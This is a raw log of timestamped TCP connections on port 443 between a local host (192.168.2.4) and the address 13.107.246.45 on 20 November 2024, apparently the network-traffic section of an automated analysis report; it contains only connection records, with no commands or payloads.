Nov 20, 2024 07:49:15.654499054 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.655175924 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.655214071 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.655560970 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.655570984 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.759780884 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.762326956 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.762377977 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.762445927 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.762681007 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.762717962 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.762741089 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.762762070 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.762769938 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.765924931 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.765990973 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.766079903 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.766227961 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.766256094 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.272931099 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.274348974 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.274386883 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.274391890 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.274714947 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.274751902 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.274852037 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.274857044 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.275151014 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.275157928 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.276040077 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.278057098 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.278085947 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.278433084 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.278439999 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.305700064 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.310693026 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.310719013 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.311564922 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.311572075 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.375515938 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.375662088 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.375716925 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.375730991 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.375802994 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.376009941 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.376035929 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.376051903 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.376060009 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.376658916 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.376724958 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.376914978 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.377207994 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.377259016 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.377288103 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.377305031 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.379525900 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.379698038 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.379775047 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.380237103 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.380289078 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.381014109 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.381047964 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.381063938 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.381114006 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.381141901 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.381161928 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.381175995 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.381181002 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.381778955 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.381795883 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.382256031 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.382272959 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.383167028 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.383218050 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.383349895 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.383476973 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.383491993 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.413454056 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.413777113 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.413840055 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.413974047 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.413974047 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.414005995 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.414027929 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.416428089 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.416520119 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.416615009 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.416726112 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.416747093 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.416961908 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.417263985 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.417273998 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.417691946 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.417695999 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.519249916 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.519500017 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.519577980 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.519866943 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.519885063 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.519897938 CET	49894	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.519903898 CET	443	49894	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.522804976 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.522866011 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:16.522944927 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.523082018 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:16.523102999 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.031567097 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.032103062 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.032136917 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.032591105 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.032598019 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.049576044 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.050369978 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.050385952 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.050863028 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.050867081 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.060265064 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.060585976 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.060607910 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.060945988 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.060952902 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.097649097 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.098067045 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.098083973 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.098469973 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.098476887 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.134835005 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.135514021 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.135596037 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.135652065 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.135652065 CET	49896	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.135675907 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.135690928 CET	443	49896	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.138657093 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.138684034 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.138772011 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.138936043 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.138951063 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.158097982 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.158195019 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.158238888 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.158301115 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.158354998 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.158531904 CET	49895	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.158546925 CET	443	49895	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.160979033 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.161017895 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.161087990 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.161232948 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.161245108 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.162611961 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.162967920 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.162998915 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.163392067 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.163402081 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.165118933 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.165343046 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.165378094 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.165391922 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.165421963 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.165461063 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.165479898 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.165493965 CET	49897	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.165502071 CET	443	49897	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.167402029 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.167417049 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.167478085 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.167607069 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.167614937 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.201462030 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.201850891 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.201910973 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.201940060 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.201946974 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.201961994 CET	49898	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.201968908 CET	443	49898	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.203937054 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.203953028 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.204020977 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.204138041 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.204149008 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.263113022 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.263180017 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.263278008 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.263477087 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.263514996 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.263542891 CET	49899	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.263557911 CET	443	49899	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.266237974 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.266288042 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.266431093 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.266585112 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.266639948 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.785727978 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.786354065 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.786415100 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.786880970 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.786900043 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.796786070 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.797297955 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.797317028 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.797693014 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.797698975 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.802130938 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.802493095 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.802516937 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.802911997 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.802927017 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.856863022 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.857429028 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.857453108 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.857940912 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.857947111 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.890194893 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.890273094 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.890335083 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.890523911 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.890558004 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.890585899 CET	49900	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.890599966 CET	443	49900	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.893706083 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.893802881 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.893897057 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.894051075 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.894084930 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.897607088 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.897926092 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.897974968 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.897981882 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.898032904 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.898056984 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.898077011 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.898087978 CET	49901	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.898094893 CET	443	49901	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.900276899 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.900321007 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.900368929 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.900541067 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.900556087 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.909713030 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.910237074 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.910293102 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.910320044 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.910331011 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.910342932 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.910348892 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.912455082 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.912488937 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.912566900 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.912734032 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.912760973 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.932174921 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.932660103 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.932707071 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.933137894 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.933146000 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.957611084 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.957684994 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.957751036 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.957783937 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.957811117 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.957860947 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.958024025 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.958045959 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.958059072 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.958065033 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.961036921 CET	49908	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.961076975 CET	443	49908	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:17.961153984 CET	49908	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.961314917 CET	49908	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:17.961334944 CET	443	49908	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.036628008 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.036801100 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.036864042 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.036967039 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.036988974 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.037002087 CET	49904	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.037008047 CET	443	49904	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.039865971 CET	49909	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.039901018 CET	443	49909	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.039974928 CET	49909	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.040688038 CET	49909	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.040703058 CET	443	49909	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.557068110 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.563416958 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.569366932 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.603866100 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.603910923 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.607855082 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.607863903 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.610493898 CET	443	49908	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.611721992 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.611938953 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.615942955 CET	49908	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.615969896 CET	443	49908	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.619940042 CET	49908	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.619946957 CET	443	49908	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.620183945 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.620210886 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.624053955 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.624073029 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.624300003 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.624322891 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.628518105 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.628531933 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.679286957 CET	443	49909	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.711184978 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.711354971 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.711421967 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.720705986 CET	49909	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.720729113 CET	443	49909	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.720760107 CET	443	49908	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.720827103 CET	443	49908	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.720882893 CET	49908	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.721457005 CET	49909	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.721463919 CET	443	49909	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.726141930 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.726222992 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.726274014 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.730304956 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.730386019 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.730448008 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.731967926 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.731981993 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.732000113 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.732007027 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.732153893 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.732194901 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.732239008 CET	49906	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.732254982 CET	443	49906	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.734666109 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.734672070 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.734689951 CET	49905	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.734694958 CET	443	49905	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.739130020 CET	49908	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.739154100 CET	443	49908	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.739167929 CET	49908	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.739176035 CET	443	49908	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:18.752923012 CET	49910	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:18.752958059 CET	443	49910	13.107.246.45	192.168.2.4
